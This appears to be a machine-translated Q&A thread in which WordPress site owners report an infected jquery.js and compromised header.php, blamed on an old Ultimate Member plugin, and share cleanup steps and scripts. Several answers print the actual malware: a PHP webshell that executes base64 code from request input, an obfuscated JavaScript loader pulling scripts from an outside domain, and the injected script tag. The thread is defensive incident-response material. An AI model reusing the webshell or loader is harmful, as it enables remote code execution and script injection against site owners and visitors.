答案 0 :(得分:2)
初步步骤:
/*! jQuery v1....
之类的注释,删除该行之前的所有内容(您进行了备份,对吧?)背景:
我们有同样的问题。 Wordfence注意到在服务器上修改了文件wp-includes / js / jquery / jquery.js。将其还原为原始版本似乎可以解决该问题。但是,文件很快就被感染了(几小时?)。所以我们还不知道来源...
我们在/ wp-content / uploads / ultimatemember / temp / [random dir] /n.php中发现了一些可疑代码:
<?php file_put_contents('sdgsdfgsdg','<?php '.base64_decode($_REQUEST['q']));
include('sdgsdfgsdg'); unlink('sdgsdfgsdg'); ?>
基本上可以从外部执行任何PHP代码...
删除这些文件后,该站点确实恢复了正常状态(几个小时)。
我们还注意到页面源中有一个可疑的<a>
标签;但不确定其相关性。
<a class="html-attribute-value html-resource-link" target="_blank"
href="https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4"
rel="noreferrer noopener">https://our.site/wordpress/wp-includes/js/jquery/jquery.js?ver=1.12.4</a>
答案 1 :(得分:1)
您将必须进行一些故障排除。包含恶意代码的是您的主题或插件之一。
请按照以下步骤操作:
success: function(response){
var data = JSON.parse(response);
if (data.error == true){
swal({
title: "Success",
text: data.msg ,
type: "success"
}).then(function(){
location.reload();
}
);
} else {
swal({
title: "Warning",
text: data.msg ,
type: "warning"
});
}
}
-如果出现问题
持续存在,这意味着它不是您的主题。希望这会有所帮助。
答案 2 :(得分:1)
我们有同样的错误,这些文件已被感染。这是我在其中找到的恶意代码。
wp-includes / js / jquery / jquery.js
(function() { "use strict"; var _0xa8bd=["\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x72\x63\x2E\x65\x65\x64\x75\x65\x6C\x65\x6D\x65\x6E\x74\x73\x2E\x63\x6F\x6D\x2F\x67\x65\x74\x2E\x70\x68\x70","\x6E\x75\x6C\x6C","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x61\x73\x79\x6E\x63","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x68\x65\x61\x64"];function httpGet(_0xc4ecx2){var _0xc4ecx3= new XMLHttpRequest();_0xc4ecx3[_0xa8bd[1]](_0xa8bd[0],_0xc4ecx2,false);_0xc4ecx3[_0xa8bd[2]](null);return _0xc4ecx3[_0xa8bd[3]]}var curdomain=_0xa8bd[4];var newlink=httpGet(curdomain);if(newlink!= _0xa8bd[5]){(function(){var _0xc4ecx6=document[_0xa8bd[7]](_0xa8bd[6]);_0xc4ecx6[_0xa8bd[8]]= _0xa8bd[9];_0xc4ecx6[_0xa8bd[10]]= true;_0xc4ecx6[_0xa8bd[11]]= newlink;document[_0xa8bd[13]][_0xa8bd[12]](_0xc4ecx6)})()} })();
themes / yourtheme / header.php
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
答案 3 :(得分:1)
jquery文件被感染了。只需删除/ *之前的代码即可! jQuery v1.12.4 | (c)jQuery基础| jquery.org/license * /,并确保所有插件均已更新且网站安全。还请检查文件的权限!就我而言,这对我有帮助
答案 4 :(得分:1)
这似乎是由您可能正在使用的某些插件的漏洞引起的。
在我的情况下,它是Ultimate Member插件的较旧版本(2.22之前的版本)。
如果您正在使用此插件的2.22或更早版本,则应立即更新此插件,并清除临时文件。 (https://wordpress.org/support/topic/malicious-files-in-ultimate-members-plugin/)
之后,使用此命令搜索最近更新的文件。 (例如15天)
find ./ -type f -mtime -15
可能是您的WP jquery文件,任何名称为“ header”的文件都可能被感染。
/wp-includes/js/jquery/jquery.js
/wp-contents/your-theme/header.php
..
在受感染的头文件中删除以下脚本。
<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>
这看起来像是在打开头标签之后紧接在头标签之前插入的。确保您都删除了。
从受感染的Jquery文件中删除恶意插入的脚本,或仅将文件替换为其他WP Core安装中的干净脚本。
我认为这应该可以解决问题。
答案 5 :(得分:0)
这是我今天运行securi扫描仪后发现的。希望这可以帮助某人,因为这是一个讨厌的人。在我看来, 正在影响以下文件:
无论在我的wp-includes目录上似乎有什么麻烦。 我确实运行Ultimate Member插件,但我注意到之前提到的有人提到该插件的较早版本存在漏洞。我运行了一个多站点网络,并且还注意到子站点上的两个注册表单具有默认角色“管理员”(插件供应商会发现哪种安全作为默认注册选项?)并启用了“自动批准”选项(没有验证电子邮件)。显然,在网络环境中激活此插件需要对这些注册和登录表单进行一些额外的彻底审查。
答案 6 :(得分:0)
有同样的问题。 jQuery被感染,必须替换为原始版本。黑客可能使用了Ultimatemember后门来上传并执行php文件。我不得不清理插件的temp目录。
另一个观察结果是,该黑客正在强迫修改的jquery加载脚本,该地址是从http://src.eeduelements.com/get.php加载的。这使他们可以灵活地轮播广告。
答案 7 :(得分:0)
sudo grep --include=\*.php -rnw . -e "<script type='text/javascript' src='https://cdn.eeduelements.com/jquery.js?ver=1.0.8'></script>"
连同下面的答案一起帮助我清理了文件。它影响了我所有的网站,但现在似乎仍然保留在拥有最终成员身份的网站上。仍在努力。这个Php脚本虽然不可思议。一定要感谢作者。
PHP/SSH regex script/command to delete identical malware code from many files
这是来自以上答案的php。我只是换了find部分,将恶意内容重定向到了Yetill。
<?php
//Enter it as it is and escape any single quotes
$find='<script type=\'text/javascript\' src=\'https://cdn.eeduelements.com/jquery.js?ver=1.0.8\'></script>';
echo findString('./',$find);
function findString($path,$find){
$return='';
ob_start();
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
if(is_dir($path.'/'.$file)){
$sub=findString($path.'/'.$file,$find);
if(isset($sub)){
echo $sub.PHP_EOL;
}
}else{
$ext=substr(strtolower($file),-3);
if($ext=='php'){
$filesource=file_get_contents($path.'/'.$file);
$pos = strpos($filesource, $find);
if ($pos === false) {
continue;
} else {
//The cleaning bit
echo "The string '".htmlentities($find)."' was found in the file '$path/$file and exists at position $pos and has been removed from the source file.<br />";
$clean_source = str_replace($find,'',$filesource);
file_put_contents($path.'/'.$file,$clean_source);
}
}else{
continue;
}
}
}
}
closedir($handle);
}
$return = ob_get_contents();
ob_end_clean();
return $return;
}
?>